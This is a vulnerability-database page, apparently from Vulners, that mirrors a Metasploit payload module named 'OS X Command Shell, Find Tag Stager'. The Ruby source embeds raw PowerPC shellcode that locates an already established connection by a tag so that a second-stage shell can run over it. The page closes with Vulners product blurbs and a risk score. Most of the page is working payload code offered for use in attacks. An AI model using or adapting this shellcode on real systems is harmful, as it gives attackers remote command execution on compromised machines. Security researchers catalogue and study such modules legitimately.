Lucene search
K

OS X Command Shell, Find Tag Stager

🗓️ 12 Oct 2005 05:44:15Reported by hdm <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 10 Views

OS X Command Shell, Find Tag Stager. Use an established connection

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


###
#
# FindTag
# -------
#
# OSX find tag stager.
#
###
module MetasploitModule

  CachedSize = 76

  include Msf::Payload::Stager

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Find Tag Stager',
      'Description'   => 'Use an established connection',
      'Author'        => 'hdm',
      'License'       => MSF_LICENSE,
      'Platform'      => 'osx',
      'Arch'          => ARCH_PPC,
      'Handler'       => Msf::Handler::FindTag,
      'Stager'        =>
        {
          'Offsets' =>
            {
              'TAG' => [ 54, 'RAW' ],
            },
          'Payload' =>
            "\x3b\xa0\x0f\xff\x3b\xc0\x0f\xff\x37\x9d\xf0\x02\x7f\xdc\xf0\x51" +
            "\x41\x80\xff\xf0\x38\x1d\xf0\x67\x7f\xc3\xf3\x78\x38\x81\xef\xf8" +
            "\x38\xa0\x0f\xff\x38\xdd\xf0\x81\x44\xff\xff\x02\x7c\xc6\x32\x79" +
            "\xa3\x61\xef\xf8\x2c\x1b\x13\x37\x40\x82\xff\xd4\x38\x81\xef\xfc" +
            "\x7c\x89\x03\xa6\x4c\x81\x04\x20\x7c\xc6\x32\x79"
        }
      ))
  end

  #
  # Replace the TAG handler to just use two bytes
  #
  def replace_var(raw, name, offset, pack)
    if (name == 'TAG')
      raw[offset, 2] = datastore[name][0,2]
      return true
    end

    return false
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Dec 2020 10:31Current
7.6High risk
Vulners AI Score7.6
10